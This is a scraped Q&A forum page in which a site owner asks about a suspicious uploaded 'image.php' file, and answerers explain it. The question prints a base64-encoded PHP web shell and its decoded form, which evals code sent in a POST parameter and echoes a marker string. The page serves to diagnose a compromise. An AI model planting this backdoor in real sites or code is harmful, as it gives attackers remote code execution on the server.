Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

What does eval on base64 encoded $_POST['e'] variable actually do?

Tags:

security

php

eval

Ok so here's what I've googled:

It seems there is an uploaded file named "image.php" that is uploaded in a qcubed directory.

That image.php file contains the following base64 code:

aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpO2VjaG8gJzMxMzkzNjJlMzIzMzMxMmQzMTM3MzIyZTMyMzgzYTY5NjY2MTYzNjU3MjZkNzA3NTYyNmQ2OTYzNjUzYTYxNjY2MTYzMzQzMjY1NzI2OTMwMzInOw==

decoded it adds to this:

if(isset($_POST['e']))

eval(base64_decode($_POST['e']));

echo '3139362e3233312d3137322e32383a6966616365726d7075626d6963653a6166616334326572693032';

Searching for the outputed string I found simillar qcubed vulnerabilities on other sites.

Decoding the last echoed string I got:

196.231-172.28:ifacermpubmice:afac42eri02

Which I really don`t understand what it does (using:http://ostermiller.org/calc/encode.html).

Can you please explain me what in particular I`m facing here? What security vulnerability I should adress in order to fix this?

like image 662
Gabriel Avatar asked Nov 22 '10 12:11

Gabriel


People also ask

What does Base64 encoding do?

Base64 encoding schemes are commonly used when there is a need to encode binary data that needs to be stored and transferred over media that are designed to deal with ASCII. This is to ensure that the data remain intact without modification during transport.

What is eval base64_decode?

An eval base64 decode hack is essentially a PHP code execution attack which is clouded by a base64 encoding scheme in order to hide the malicious code. The eval base64 PHP function allows the hackers to illegitimately gain control over your website and misuse it for malicious purposes.

What is Base64 in Python?

Source code: Lib/base64.py. This module provides functions for encoding binary data to printable ASCII characters and decoding such encodings back to binary data.

What is Base64 encode and decode?

Base64 is an encoding and decoding technique used to convert binary data to an American Standard for Information Interchange (ASCII) text format, and vice versa.


2 Answers

The script will execute any PHP code it gets from the e POST variable, which of course is a horrible, most dangerous vulnerability.

The echo statement might be a confirmation for the attacking script that the correct version is installed or something.

However, this is only dangerous if the image.php file can actually be executed in that directory. It's hard to give advice on what to do without knowing how the file got there in the first place.

like image 69
Pekka Avatar answered Nov 15 '22 18:11

Pekka


Most likely a script kiddie used an exploit to break into your site. Make sure your PHP application and libraries are up to date.

like image 21
rook Avatar answered Nov 15 '22 17:11

rook